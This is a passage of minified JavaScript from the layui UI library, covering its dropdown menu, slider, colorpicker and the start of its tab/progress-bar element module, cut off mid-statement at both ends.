lay-id=\"'+d.id+'\">',\"</div>\"].join(\"\");!(e=\"contextmenu\"!==d.trigger&&!lay.isTopElem(d.elem[0])?e:!0)&&d.elem.data(m+\"_opened\")||(l.elemView=s(\".\"+f+'[lay-id=\"'+d.id+'\"]'),\"reloadData\"===i&&l.elemView.length?l.elemView.html(d.content||n()):(l.elemView=s(a),l.elemView.append(d.content||n()),d.className&&l.elemView.addClass(d.className),d.style&&l.elemView.attr(\"style\",d.style),p.thisId=d.id,l.remove(),t.append(l.elemView),d.elem.data(m+\"_opened\",!0),e=d.shade?'<div class=\"'+x+'\" style=\"z-index:'+(l.elemView.css(\"z-index\")-1)+\"; background-color: \"+(d.shade[1]||\"#000\")+\"; opacity: \"+(d.shade[0]||d.shade)+'\"></div>':\"\",l.elemView.before(e),\"mouseenter\"===d.trigger&&l.elemView.on(\"mouseenter\",function(){clearTimeout(y.timer)}).on(\"mouseleave\",function(){l.delayRemove()})),l.position(),(y.prevElem=l.elemView).data(\"prevElem\",d.elem),l.elemView.find(\".layui-menu\").on(o,function(e){layui.stope(e)}),l.elemView.find(\".layui-menu li\").on(\"click\",function(e){var i=s(this),t=i.data(\"item\")||{},n=t.child&&0<t.child.length,a=\"all\"===d.clickScope;t.disabled||n&&!a||\"-\"===t.type||(!1===(\"function\"==typeof d.click?d.click(t,i):null)||n||l.remove(),layui.stope(e))}),l.elemView.find(b).on(\"click\",function(e){var i=s(this).parent();\"group\"===(i.data(\"item\")||{}).type&&d.isAllowSpread&&y.spread(i)}),\"function\"==typeof d.ready&&d.ready(l.elemView,d.elem))},k.prototype.position=function(e){var i=this.config;lay.position(i.elem[0],this.elemView[0],{position:i.position,e:this.e,clickType:\"contextmenu\"===i.trigger?\"right\":null,align:i.align||null})},k.prototype.remove=function(){this.config;var e=y.prevElem;e&&(e.data(\"prevElem\")&&e.data(\"prevElem\").data(m+\"_opened\",!1),e.remove()),lay(\".\"+x).remove()},k.prototype.delayRemove=function(){var e=this,i=e.config;clearTimeout(y.timer),y.timer=setTimeout(function(){e.remove()},i.delay)},k.prototype.events=function(){var i=this,e=i.config;\"hover\"===e.trigger&&(e.trigger=\"mouseenter\"),i.prevElem&&i.prevElem.off(e.trigger,i.prevElemCallback),i.prevElem=e.elem,i.prevElemCallback=function(e){clearTimeout(y.timer),i.e=e,i.render(),e.preventDefault()},e.elem.on(e.trigger,i.prevElemCallback),\"mouseenter\"===e.trigger&&e.elem.on(\"mouseleave\",function(){i.delayRemove()})},y.that={},y.getThis=function(e){var i=y.that[e];return i||a.error(e?r+\" instance with ID '\"+e+\"' not found\":\"ID argument required\"),i},y.spread=function(e){var i=e.children(\".\"+h).find(\".layui-icon\");e.hasClass(l)?(e.removeClass(l).addClass(d),i.removeClass(\"layui-icon-down\").addClass(\"layui-icon-up\")):(e.removeClass(d).addClass(l),i.removeClass(\"layui-icon-up\").addClass(\"layui-icon-down\"))},n=s(window),i=s(document),n.on(\"resize\",function(){if(p.thisId){var e=y.getThis(p.thisId);if(e){if(!e.elemView[0]||!s(\".\"+f)[0])return!1;\"contextmenu\"===e.config.trigger?e.remove():e.position()}}}),i.on(o,function(e){var i,t;!p.thisId||(i=y.getThis(p.thisId))&&(t=i.config,!lay.isTopElem(t.elem[0])&&\"contextmenu\"!==t.trigger&&(e.target===t.elem[0]||t.elem.find(e.target)[0]||i.elemView&&e.target===i.elemView[0]||i.elemView&&i.elemView.find(e.target)[0])||i.remove())}),t=\".layui-menu:not(.layui-dropdown-menu) li\",i.on(\"click\",t,function(e){var i=s(this),t=i.parents(\".layui-menu\").eq(0),n=i.hasClass(u)||i.hasClass(g),a=t.attr(\"lay-filter\")||t.attr(\"id\"),l=lay.options(this);i.hasClass(\"layui-menu-item-divider\")||n||(t.find(\".\"+v).removeClass(v),t.find(\".\"+w).removeClass(w),i.addClass(v),i.parents(\".\"+g).addClass(w),l.title=l.title||s.trim(i.children(\".\"+h).text()),layui.event.call(this,r,\"click(\"+a+\")\",l))}),i.on(\"click\",t+b,function(e){var i=s(this).parents(\".\"+u+\":eq(0)\"),t=lay.options(i[0]);\"isAllowSpread\"in t&&!t.isAllowSpread||y.spread(i)}),t=\".layui-menu .\"+g,i.on(\"mouseenter\",t,function(e){var i,t=s(this).find(\".\"+C);t[0]&&((i=t[0].getBoundingClientRect()).right>n.width()&&(t.addClass(V),(i=t[0].getBoundingClientRect()).left<0&&t.removeClass(V)),i.bottom>n.height()&&t.eq(0).css(\"margin-top\",-(i.bottom-n.height()+5)))}).on(\"mouseleave\",t,function(e){var i=s(this).children(\".\"+C);i.removeClass(V),i.css(\"margin-top\",0)}),p.close=function(e){e=y.getThis(e);return e?(e.remove(),y.call(e)):this},p.reload=function(e,i,t){e=y.getThis(e);return e?(e.reload(i,t),y.call(e)):this},p.reloadData=function(){var t=s.extend([],arguments),n=(t[2]=\"reloadData\",new RegExp(\"^(\"+[\"data\",\"templet\",\"content\"].join(\"|\")+\")$\"));return layui.each(t[1],function(e,i){n.test(e)||delete t[1][e]}),p.reload.apply(null,t)},p.render=function(e){e=new k(e);return y.call(e)},e(r,p)});layui.define([\"jquery\",\"lay\"],function(e){\"use strict\";var g=layui.$,c=layui.lay,m={config:{},index:layui.slider?layui.slider.index+1e4:0,set:function(e){var i=this;return i.config=g.extend({},i.config,e),i},on:function(e,i){return layui.onevent.call(this,t,e,i)}},t=\"slider\",v=\"layui-disabled\",x=\"layui-slider-bar\",b=\"layui-slider-wrap\",T=\"layui-slider-wrap-btn\",w=\"layui-slider-tips\",M=\"layui-slider-input-txt\",L=\"layui-slider-hover\",i=function(e){var i=this;i.index=++m.index,i.config=g.extend({},i.config,m.config,e),i.render()};i.prototype.config={type:\"default\",min:0,max:100,value:0,step:1,showstep:!1,tips:!0,input:!1,range:!1,height:200,disabled:!1,theme:\"#16baaa\"},i.prototype.render=function(){var a=this,n=a.config,e=g(n.elem);if(1<e.length)return layui.each(e,function(){m.render(g.extend({},n,{elem:this}))}),a;g.extend(n,c.options(e[0])),n.step<1&&(n.step=1),n.max<n.min&&(n.max=n.min+n.step),n.range?(n.value=\"object\"==typeof n.value?n.value:[n.min,n.value],e=Math.min(n.value[0],n.value[1]),i=Math.max(n.value[0],n.value[1]),n.value[0]=e>n.min?e:n.min,n.value[1]=i>n.min?i:n.min,n.value[0]=n.value[0]>n.max?n.max:n.value[0],n.value[1]=n.value[1]>n.max?n.max:n.value[1],i=Math.floor((n.value[0]-n.min)/(n.max-n.min)*100),t=(s=Math.floor((n.value[1]-n.min)/(n.max-n.min)*100))-i+\"%\",i+=\"%\",s+=\"%\"):(\"object\"==typeof n.value&&(n.value=Math.min.apply(null,n.value)),n.value<n.min&&(n.value=n.min),n.value>n.max&&(n.value=n.max),t=Math.floor((n.value-n.min)/(n.max-n.min)*100)+\"%\");var l,e=n.disabled?\"#c2c2c2\":n.theme,i='<div class=\"layui-slider '+(\"vertical\"===n.type?\"layui-slider-vertical\":\"\")+'\">'+(n.tips?'<div class=\"'+w+'\"></div>':\"\")+'<div class=\"layui-slider-bar\" style=\"background:'+e+\"; \"+(\"vertical\"===n.type?\"height\":\"width\")+\":\"+t+\";\"+(\"vertical\"===n.type?\"bottom\":\"left\")+\":\"+(i||0)+';\"></div><div class=\"layui-slider-wrap\" style=\"'+(\"vertical\"===n.type?\"bottom\":\"left\")+\":\"+(i||t)+';\"><div class=\"layui-slider-wrap-btn\" style=\"border: 2px solid '+e+';\"></div></div>'+(n.range?'<div class=\"layui-slider-wrap\" style=\"'+(\"vertical\"===n.type?\"bottom\":\"left\")+\":\"+s+';\"><div class=\"layui-slider-wrap-btn\" style=\"border: 2px solid '+e+';\"></div></div>':\"\")+\"</div>\",t=g(n.elem),s=t.next(\".layui-slider\");if(s[0]&&s.remove(),a.elemTemp=g(i),n.range?(a.elemTemp.find(\".\"+b).eq(0).data(\"value\",n.value[0]),a.elemTemp.find(\".\"+b).eq(1).data(\"value\",n.value[1])):a.elemTemp.find(\".\"+b).data(\"value\",n.value),t.html(a.elemTemp),\"vertical\"===n.type&&a.elemTemp.height(n.height+\"px\"),n.showstep){for(var o=(n.max-n.min)/n.step,r=\"\",u=1;u<1+o;u++){var d=100*u/o;d<100&&(r+='<div class=\"layui-slider-step\" style=\"'+(\"vertical\"===n.type?\"bottom\":\"left\")+\":\"+d+'%\"></div>')}a.elemTemp.append(r)}n.input&&!n.range&&(e=g('<div class=\"layui-slider-input layui-input\"><div class=\"layui-slider-input-txt\"><input type=\"text\" class=\"layui-input\"></div><div class=\"layui-slider-input-btn\"><i class=\"layui-icon layui-icon-up\"></i><i class=\"layui-icon layui-icon-down\"></i></div></div>'),t.css(\"position\",\"relative\"),t.append(e),t.find(\".\"+M).children(\"input\").val(n.value),\"vertical\"===n.type?e.css({left:0,top:-48}):a.elemTemp.css(\"margin-right\",e.outerWidth()+15)),n.disabled?(a.elemTemp.addClass(v),a.elemTemp.find(\".\"+T).addClass(v)):a.slide(),a.elemTemp.find(\".\"+T).on(\"mouseover\",function(){var e=\"vertical\"===n.type?n.height:a.elemTemp[0].offsetWidth,i=a.elemTemp.find(\".\"+b),t=(\"vertical\"===n.type?e-g(this).parent()[0].offsetTop-i.height():g(this).parent()[0].offsetLeft)/e*100,i=g(this).parent().data(\"value\"),e=n.setTips?n.setTips(i):i;a.elemTemp.find(\".\"+w).html(e),clearTimeout(l),l=setTimeout(function(){\"vertical\"===n.type?a.elemTemp.find(\".\"+w).css({bottom:t+\"%\",\"margin-bottom\":\"20px\",display:\"inline-block\"}):a.elemTemp.find(\".\"+w).css({left:t+\"%\",display:\"inline-block\"})},300)}).on(\"mouseout\",function(){clearTimeout(l),a.elemTemp.find(\".\"+w).css(\"display\",\"none\")})},i.prototype.slide=function(e,i,t){var o=this,r=o.config,u=o.elemTemp,d=function(){return\"vertical\"===r.type?r.height:u[0].offsetWidth},c=u.find(\".\"+b),m=u.next(\".layui-slider-input\"),v=m.children(\".\"+M).children(\"input\").val(),p=100/((r.max-r.min)/Math.ceil(r.step)),f=function(e,i,t){e=(e=100<(e=100<Math.ceil(e)*p?Math.ceil(e)*p:Math.round(e)*p)?100:e)<0?0:e,c.eq(i).css(\"vertical\"===r.type?\"bottom\":\"left\",e+\"%\");var a,n=h(c[0].offsetLeft),l=r.range?h(c[1].offsetLeft):0,s=(\"vertical\"===r.type?(u.find(\".\"+w).css({bottom:e+\"%\",\"margin-bottom\":\"20px\"}),n=h(d()-c[0].offsetTop-c.height()),l=r.range?h(d()-c[1].offsetTop-c.height()):0):u.find(\".\"+w).css(\"left\",e+\"%\"),n=100<n?100:n,l=100<l?100:l,Math.min(n,l)),n=Math.abs(n-l),l=(\"vertical\"===r.type?u.find(\".\"+x).css({height:n+\"%\",bottom:s+\"%\"}):u.find(\".\"+x).css({width:n+\"%\",left:s+\"%\"}),r.min+Math.round((r.max-r.min)*e/100));v=l,m.children(\".\"+M).children(\"input\").val(v),c.eq(i).data(\"value\",l),u.find(\".\"+w).html(r.setTips?r.setTips(l):l),r.range&&(a=[c.eq(0).data(\"value\"),c.eq(1).data(\"value\")])[0]>a[1]&&a.reverse(),o.value=r.range?a:l,r.change&&r.change(o.value),\"done\"===t&&r.done&&r.done(o.value)},h=function(e){var i=e/d()*100/p,t=Math.round(i)*p;return t=e==d()?Math.ceil(i)*p:t},y=g(['<div class=\"layui-auxiliar-moving\" id=\"LAY-slider-moving\"></div'].join(\"\"));if(\"set\"===e)return f(i-r.min,t,\"done\");u.find(\".\"+T).each(function(l){var s=g(this);s.on(\"mousedown\",function(e){e=e||window.event;var i,t,a=s.parent()[0].offsetLeft,n=e.clientX;\"vertical\"===r.type&&(a=d()-s.parent()[0].offsetTop-c.height(),n=e.clientY);e=function(e){e=e||window.event;var i=a+(\"vertical\"===r.type?n-e.clientY:e.clientX-n),i=(i=(i=i<0?0:i)>d()?d():i)/d()*100/p;f(i,l),s.addClass(L),u.find(\".\"+w).show(),e.preventDefault()},i=function(){s.removeClass(L),u.find(\".\"+w).hide()},t=function(){i&&i(),y.remove(),r.done&&r.done(o.value)},g(\"#LAY-slider-moving\")[0]||g(\"body\").append(y),y.on(\"mousemove\",e),y.on(\"mouseup\",t).on(\"mouseleave\",t)})}),u.on(\"click\",function(e){var i=g(\".\"+T),t=g(this);!i.is(event.target)&&0===i.has(event.target).length&&i.length&&(t=(i=(i=(i=\"vertical\"===r.type?d()-e.clientY+t.offset().top-g(window).scrollTop():e.clientX-t.offset().left-g(window).scrollLeft())<0?0:i)>d()?d():i)/d()*100/p,i=r.range?\"vertical\"===r.type?Math.abs(i-parseInt(g(c[0]).css(\"bottom\")))>Math.abs(i-parseInt(g(c[1]).css(\"bottom\")))?1:0:Math.abs(i-c[0].offsetLeft)>Math.abs(i-c[1].offsetLeft)?1:0:0,f(t,i,\"done\"),e.preventDefault())}),m.children(\".layui-slider-input-btn\").children(\"i\").each(function(i){g(this).on(\"click\",function(){v=m.children(\".\"+M).children(\"input\").val();var e=((v=1==i?v-r.step<r.min?r.min:Number(v)-r.step:Number(v)+r.step>r.max?r.max:Number(v)+r.step)-r.min)/(r.max-r.min)*100/p;f(e,0,\"done\")})});var a=function(){var e=this.value,e=(e=(e=(e=isNaN(e)?0:e)<r.min?r.min:e)>r.max?r.max:e,((this.value=e)-r.min)/(r.max-r.min)*100/p);f(e,0,\"done\")};m.children(\".\"+M).children(\"input\").on(\"keydown\",function(e){13===e.keyCode&&(e.preventDefault(),a.call(this))}).on(\"change\",a)},i.prototype.events=function(){this.config},m.render=function(e){e=new i(e);return function(){var t=this,a=t.config;return{setValue:function(e,i){return e=(e=e>a.max?a.max:e)<a.min?a.min:e,a.value=e,t.slide(\"set\",e,i||0)},config:a}}.call(e)},e(t,m)});layui.define([\"jquery\",\"lay\"],function(e){\"use strict\";var m=layui.$,t=layui.lay,o=layui.hint(),i=layui.device().mobile?\"click\":\"mousedown\",n={config:{},index:layui.colorpicker?layui.colorpicker.index+1e4:0,set:function(e){var i=this;return i.config=m.extend({},i.config,e),i},on:function(e,i){return layui.onevent.call(this,\"colorpicker\",e,i)}},l=function(){var e=this.config,i=e.id;return l.that[i]=this,{config:e}},r=\"colorpicker\",c=\"layui-colorpicker\",a=\".layui-colorpicker-main\",x=\"layui-icon-down\",P=\"layui-icon-close\",C=\"layui-colorpicker-trigger-span\",w=\"layui-colorpicker-trigger-i\",B=\"layui-colorpicker-side-slider\",I=\"layui-colorpicker-basis\",D=\"layui-colorpicker-alpha-bgcolor\",E=\"layui-colorpicker-alpha-slider\",M=\"layui-colorpicker-basis-cursor\",T=\"layui-colorpicker-main-input\",Y=function(e){var i={h:0,s:0,b:0},o=Math.min(e.r,e.g,e.b),r=Math.max(e.r,e.g,e.b),t=r-o;return i.b=r,i.s=0!==r?255*t/r:0,0!==i.s?e.r==r?i.h=(e.g-e.b)/t:e.g==r?i.h=2+(e.b-e.r)/t:i.h=4+(e.r-e.g)/t:i.h=-1,r===o&&(i.h=0),i.h*=60,i.h<0&&(i.h+=360),i.s*=100/255,i.b*=100/255,i},j=function(e){var i,o={},r=e.h,t=255*e.s/100,e=255*e.b/100;return 0==t?o.r=o.g=o.b=e:(e=r%60*((i=e)-(t=(255-t)*e/255))/60,(r=360===r?0:r)<60?(o.r=i,o.b=t,o.g=t+e):r<120?(o.g=i,o.b=t,o.r=i-e):r<180?(o.g=i,o.r=t,o.b=t+e):r<240?(o.b=i,o.r=t,o.g=i-e):r<300?(o.b=i,o.g=t,o.r=t+e):r<360?(o.r=i,o.g=t,o.b=i-e):(o.r=0,o.g=0,o.b=0)),{r:Math.round(o.r),g:Math.round(o.g),b:Math.round(o.b)}},F=function(e){var e=j(e),o=[e.r.toString(16),e.g.toString(16),e.b.toString(16)];return m.each(o,function(e,i){1===i.length&&(o[e]=\"0\"+i)}),o.join(\"\")},L=function(e){e=e.match(/[0-9]{1,3}/g)||[];return{r:e[0],g:e[1],b:e[2]}},H=m(window),s=m(document),d=function(e){this.index=++n.index,this.config=m.extend({},this.config,n.config,e),this.render()};d.prototype.config={color:\"\",size:null,alpha:!1,format:\"hex\",predefine:!1,colors:[\"#16baaa\",\"#16b777\",\"#1E9FFF\",\"#FF5722\",\"#FFB800\",\"#01AAED\",\"#999\",\"#c00\",\"#ff8c00\",\"#ffd700\",\"#90ee90\",\"#00ced1\",\"#1e90ff\",\"#c71585\",\"rgb(0, 186, 189)\",\"rgb(255, 120, 0)\",\"rgb(250, 212, 0)\",\"#393D49\",\"rgba(0,0,0,.5)\",\"rgba(255, 69, 0, 0.68)\",\"rgba(144, 240, 144, 0.5)\",\"rgba(31, 147, 255, 0.73)\"]},d.prototype.render=function(){var e=this,i=e.config;if(1<(r=m(i.elem)).length)return layui.each(r,function(){n.render(m.extend({},i,{elem:this}))}),e;m.extend(i,t.options(r[0]));var o=m(['<div class=\"layui-unselect layui-colorpicker\">',\"<span \"+(\"rgb\"==i.format&&i.alpha?'class=\"layui-colorpicker-trigger-bgcolor\"':\"\")+\">\",'<span class=\"layui-colorpicker-trigger-span\" ','lay-type=\"'+(\"rgb\"==i.format?i.alpha?\"rgba\":\"torgb\":\"\")+'\" ','style=\"'+(o=\"\",i.color?(o=i.color,3<(i.color.match(/[0-9]{1,3}/g)||[]).length&&(i.alpha&&\"rgb\"==i.format||(o=\"#\"+F(Y(L(i.color))))),\"background: \"+o):o)+'\">','<i class=\"layui-icon layui-colorpicker-trigger-i '+(i.color?x:P)+'\"></i>',\"</span>\",\"</span>\",\"</div>\"].join(\"\")),r=i.elem=m(i.elem);i.size&&o.addClass(\"layui-colorpicker-\"+i.size),r.addClass(\"layui-inline\").html(e.elemColorBox=o),i.id=\"id\"in i?i.id:r.attr(\"id\")||e.index,e.color=e.elemColorBox.find(\".\"+C)[0].style.background,e.events()},d.prototype.renderPicker=function(){var o,e=this,i=e.config,r=e.elemColorBox[0],t=e.elemPicker=m(['<div id=\"layui-colorpicker'+e.index+'\" data-index=\"'+e.index+'\" class=\"layui-anim layui-anim-downbit layui-colorpicker-main\">','<div class=\"layui-colorpicker-main-wrapper\">','<div class=\"layui-colorpicker-basis\">','<div class=\"layui-colorpicker-basis-white\"></div>','<div class=\"layui-colorpicker-basis-black\"></div>','<div class=\"layui-colorpicker-basis-cursor\"></div>',\"</div>\",'<div class=\"layui-colorpicker-side\">','<div class=\"layui-colorpicker-side-slider\"></div>',\"</div>\",\"</div>\",'<div class=\"layui-colorpicker-main-alpha '+(i.alpha?\"layui-show\":\"\")+'\">','<div class=\"layui-colorpicker-alpha-bgcolor\">','<div class=\"layui-colorpicker-alpha-slider\"></div>',\"</div>\",\"</div>\",i.predefine?(o=['<div class=\"layui-colorpicker-main-pre\">'],layui.each(i.colors,function(e,i){o.push(['<div class=\"layui-colorpicker-pre'+(3<(i.match(/[0-9]{1,3}/g)||[]).length?\" layui-colorpicker-pre-isalpha\":\"\")+'\">','<div style=\"background:'+i+'\"></div>',\"</div>\"].join(\"\"))}),o.push(\"</div>\"),o.join(\"\")):\"\",'<div class=\"layui-colorpicker-main-input\">','<div class=\"layui-inline\">','<input type=\"text\" class=\"layui-input\">',\"</div>\",'<div class=\"layui-btn-container\">','<button class=\"layui-btn layui-btn-primary layui-btn-sm\" colorpicker-events=\"clear\">\\u6e05\\u7a7a</button>','<button class=\"layui-btn layui-btn-sm\" colorpicker-events=\"confirm\">\\u786e\\u5b9a</button>',\"</div\",\"</div>\",\"</div>\"].join(\"\"));e.elemColorBox.find(\".\"+C)[0];m(a)[0]&&m(a).data(\"index\")==e.index?e.removePicker(d.thisElemInd):(e.removePicker(d.thisElemInd),m(\"body\").append(t)),n.thisId=i.id,d.thisElemInd=e.index,d.thisColor=r.style.background,e.position(),e.pickerEvents()},d.prototype.removePicker=function(e){var i=this.config,e=m(\"#layui-colorpicker\"+(e||this.index));return e[0]&&(e.remove(),delete n.thisId,\"function\"==typeof i.close&&i.close(this.color)),this},d.prototype.position=function(){var e=this,i=e.config;return t.position(e.bindElem||e.elemColorBox[0],e.elemPicker[0],{position:i.position,align:\"center\"}),e},d.prototype.val=function(){var e,i=this,o=(i.config,i.elemColorBox.find(\".\"+C)),r=i.elemPicker.find(\".\"+T),t=o[0].style.backgroundColor;t?(e=Y(L(t)),o=o.attr(\"lay-type\"),i.select(e.h,e.s,e.b),\"torgb\"===o?r.find(\"input\").val(t):\"rgba\"===o?(o=L(t),3===(t.match(/[0-9]{1,3}/g)||[]).length?(r.find(\"input\").val(\"rgba(\"+o.r+\", \"+o.g+\", \"+o.b+\", 1)\"),i.elemPicker.find(\".\"+E).css(\"left\",280)):(r.find(\"input\").val(t),t=280*t.slice(t.lastIndexOf(\",\")+1,t.length-1),i.elemPicker.find(\".\"+E).css(\"left\",t)),i.elemPicker.find(\".\"+D)[0].style.background=\"linear-gradient(to right, rgba(\"+o.r+\", \"+o.g+\", \"+o.b+\", 0), rgb(\"+o.r+\", \"+o.g+\", \"+o.b+\"))\"):r.find(\"input\").val(\"#\"+F(e))):(i.select(0,100,100),r.find(\"input\").val(\"\"),i.elemPicker.find(\".\"+D)[0].style.background=\"\",i.elemPicker.find(\".\"+E).css(\"left\",280))},d.prototype.side=function(){var n=this,l=n.config,c=n.elemColorBox.find(\".\"+C),a=c.attr(\"lay-type\"),s=n.elemPicker.find(\".layui-colorpicker-side\"),e=n.elemPicker.find(\".\"+B),d=n.elemPicker.find(\".\"+I),r=n.elemPicker.find(\".\"+M),f=n.elemPicker.find(\".\"+D),u=n.elemPicker.find(\".\"+E),g=e[0].offsetTop/180*360,h=100-(r[0].offsetTop+3)/180*100,p=(r[0].offsetLeft+3)/260*100,v=Math.round(u[0].offsetLeft/280*100)/100,b=n.elemColorBox.find(\".\"+w),i=n.elemPicker.find(\".layui-colorpicker-pre\").children(\"div\"),y=function(e,i,o,r){n.select(e,i,o);var t=j({h:e,s:i,b:o}),e=F({h:e,s:i,b:o}),i=n.elemPicker.find(\".\"+T).find(\"input\");b.addClass(x).removeClass(P),c[0].style.background=\"rgb(\"+t.r+\", \"+t.g+\", \"+t.b+\")\",\"torgb\"===a?i.val(\"rgb(\"+t.r+\", \"+t.g+\", \"+t.b+\")\"):\"rgba\"===a?(u.css(\"left\",280*r),i.val(\"rgba(\"+t.r+\", \"+t.g+\", \"+t.b+\", \"+r+\")\"),c[0].style.background=\"rgba(\"+t.r+\", \"+t.g+\", \"+t.b+\", \"+r+\")\",f[0].style.background=\"linear-gradient(to right, rgba(\"+t.r+\", \"+t.g+\", \"+t.b+\", 0), rgb(\"+t.r+\", \"+t.g+\", \"+t.b+\"))\"):i.val(\"#\"+e),l.change&&l.change(n.elemPicker.find(\".\"+T).find(\"input\").val())},o=m(['<div class=\"layui-auxiliar-moving\" id=\"LAY-colorpicker-moving\"></div>'].join(\"\")),k=function(e){m(\"#LAY-colorpicker-moving\")[0]||m(\"body\").append(o),o.on(\"mousemove\",e),o.on(\"mouseup\",function(){o.remove()}).on(\"mouseleave\",function(){o.remove()})};e.on(\"mousedown\",function(e){var r=this.offsetTop,t=e.clientY;k(function(e){var i=r+(e.clientY-t),o=s[0].offsetHeight,o=(i=o<(i=i<0?0:i)?o:i)/180*360;y(g=o,p,h,v),e.preventDefault()}),e.preventDefault()}),s.on(\"click\",function(e){var i=e.clientY-m(this).offset().top,i=(i=(i=i<0?0:i)>this.offsetHeight?this.offsetHeight:i)/180*360;y(g=i,p,h,v),e.preventDefault()}),r.on(\"mousedown\",function(e){var n=this.offsetTop,l=this.offsetLeft,c=e.clientY,a=e.clientX;layui.stope(e),k(function(e){var i=n+(e.clientY-c),o=l+(e.clientX-a),r=d[0].offsetHeight-3,t=d[0].offsetWidth-3,t=((o=t<(o=o<-3?-3:o)?t:o)+3)/260*100,o=100-((i=r<(i=i<-3?-3:i)?r:i)+3)/180*100;y(g,p=t,h=o,v),e.preventDefault()}),e.preventDefault()}),d.on(\"mousedown\",function(e){var i=e.clientY-m(this).offset().top-3+H.scrollTop(),o=e.clientX-m(this).offset().left-3+H.scrollLeft(),o=((i=i<-3?-3:i)>this.offsetHeight-3&&(i=this.offsetHeight-3),((o=(o=o<-3?-3:o)>this.offsetWidth-3?this.offsetWidth-3:o)+3)/260*100),i=100-(i+3)/180*100;y(g,p=o,h=i,v),layui.stope(e),e.preventDefault(),r.trigger(e,\"mousedown\")}),u.on(\"mousedown\",function(e){var r=this.offsetLeft,t=e.clientX;k(function(e){var i=r+(e.clientX-t),o=f[0].offsetWidth,o=(o<(i=i<0?0:i)&&(i=o),Math.round(i/280*100)/100);y(g,p,h,v=o),e.preventDefault()}),e.preventDefault()}),f.on(\"click\",function(e){var i=e.clientX-m(this).offset().left,i=((i=i<0?0:i)>this.offsetWidth&&(i=this.offsetWidth),Math.round(i/280*100)/100);y(g,p,h,v=i),e.preventDefault()}),i.each(function(){m(this).on(\"click\",function(){m(this).parent(\".layui-colorpicker-pre\").addClass(\"selected\").siblings().removeClass(\"selected\");var e=this.style.backgroundColor,i=Y(L(e)),o=e.slice(e.lastIndexOf(\",\")+1,e.length-1);g=i.h,p=i.s,h=i.b,3===(e.match(/[0-9]{1,3}/g)||[]).length&&(o=1),v=o,y(i.h,i.s,i.b,o)})})},d.prototype.select=function(e,i,o,r){this.config;var t=F({h:e,s:100,b:100}),e=(F({h:e,s:i,b:o}),e/360*180),o=180-o/100*180-3,i=i/100*260-3;this.elemPicker.find(\".\"+B).css(\"top\",e),this.elemPicker.find(\".\"+I)[0].style.background=\"#\"+t,this.elemPicker.find(\".\"+M).css({top:o,left:i})},d.prototype.pickerEvents=function(){var c=this,a=c.config,s=c.elemColorBox.find(\".\"+C),d=c.elemPicker.find(\".\"+T+\" input\"),o={clear:function(e){s[0].style.background=\"\",c.elemColorBox.find(\".\"+w).removeClass(x).addClass(P),c.color=\"\",a.done&&a.done(\"\"),c.removePicker()},confirm:function(e,i){var o,r,t,n,l=d.val();if(-1<l.indexOf(\",\")?(r=Y(L(l)),c.select(r.h,r.s,r.b),s[0].style.background=o=\"#\"+F(r),3<(l.match(/[0-9]{1,3}/g)||[]).length&&\"rgba\"===s.attr(\"lay-type\")&&(t=280*l.slice(l.lastIndexOf(\",\")+1,l.length-1),c.elemPicker.find(\".\"+E).css(\"left\",t),o=s[0].style.background=l)):(3===(t=-1<(t=l).indexOf(\"#\")?t.substring(1):t).length&&(t=(n=t.split(\"\"))[0]+n[0]+n[1]+n[1]+n[2]+n[2]),n={r:(t=parseInt(t,16))>>16,g:(65280&t)>>8,b:255&t},r=Y(n),s[0].style.background=o=\"#\"+F(r),c.elemColorBox.find(\".\"+w).removeClass(P).addClass(x)),\"change\"===i)return c.select(r.h,r.s,r.b,i),void(a.change&&a.change(o));c.color=l,a.done&&a.done(l),c.removePicker()}};c.elemPicker.on(\"click\",\"*[colorpicker-events]\",function(){var e=m(this),i=e.attr(\"colorpicker-events\");o[i]&&o[i].call(this,e)}),d.on(\"keyup\",function(e){var i=m(this);o.confirm.call(this,i,13===e.keyCode?null:\"change\")})},d.prototype.events=function(){var e=this;e.config;e.elemColorBox.on(\"click\",function(){e.renderPicker(),m(a)[0]&&(e.val(),e.side())})},s.on(i,function(e){var i,o,r;!n.thisId||(i=l.getThis(n.thisId))&&(o=i.config,r=i.elemColorBox.find(\".\"+C),m(e.target).hasClass(c)||m(e.target).parents(\".\"+c)[0]||m(e.target).hasClass(a.replace(/\\./g,\"\"))||m(e.target).parents(a)[0]||i.elemPicker&&(i.color?(e=Y(L(i.color)),i.select(e.h,e.s,e.b)):i.elemColorBox.find(\".\"+w).removeClass(x).addClass(P),r[0].style.background=i.color||\"\",\"function\"==typeof o.cancel&&o.cancel(i.color),i.removePicker()))}),H.on(\"resize\",function(){if(n.thisId){var e=l.getThis(n.thisId);if(e)return!(!e.elemPicker||!m(a)[0])&&void e.position()}}),l.that={},l.getThis=function(e){var i=l.that[e];return i||o.error(e?r+\" instance with ID '\"+e+\"' not found\":\"ID argument required\"),i},n.render=function(e){e=new d(e);return l.call(e)},e(r,n)});layui.define(\"jquery\",function(t){\"use strict\";var u=layui.$,d=(layui.hint(),layui.device()),o=\"element\",c=\"layui-this\",y=\"layui-show\",s=\".layui-tab-title\",i=function(){this.config={}},h=(i.prototype.set=function(t){return u.extend(!0,this.config,t),this},i.prototype.on=function(t,i){return layui.onevent.call(this,o,t,i)},i.prototype.tabAdd=function(t,i){var a,t=u(\".layui-tab[lay-filter=\"+t+\"]\"),e=t.children(s),l=e.children(\".layui-tab-bar\"),t=t.children(\".layui-tab-content\"),n=\"<li\"+(a=[],layui.each(i,function(t,i){/^(title|content)$/.test(t)||a.push(\"lay-\"+t+'=\"'+i+'\"')}),0<a.length&&a.unshift(\"\"),a.join(\" \"))+\">\"+(i.title||\"unnaming\")+\"</li>\";return l[0]?l.before(n):e.append(n),t.append('<div class=\"layui-tab-item\">'+(i.content||\"\")+\"</div>\"),C.hideTabMore(!0),C.tabAuto(),this},i.prototype.tabDelete=function(t,i){t=u(\".layui-tab[lay-filter=\"+t+\"]\").children(s).find('>li[lay-id=\"'+i+'\"]');return C.tabDelete(null,t),this},i.prototype.tabChange=function(t,i){t=u(\".layui-tab[lay-filter=\"+t+\"]\").children(s).find('>li[lay-id=\"'+i+'\"]');return C.tabClick.call(t[0],{liElem:t}),this},i.prototype.tab=function(a){a=a||{},e.on(\"click\",a.headerElem,function(t){var i=u(this).index();C.tabClick.call(this,{index:i,options:a})})},i.prototype.progress=function(t,i){var a=\"layui-progress\",t=u(\".\"+a+\"[lay-filter=\"+t+\"]\").find(\".\"+a+\"-bar\"),a=t.find(\".\"+a+\"-text\");return t.css(\"width\",function(){return/^.+\\/.+$/.test(i)?100*new Function(\"return 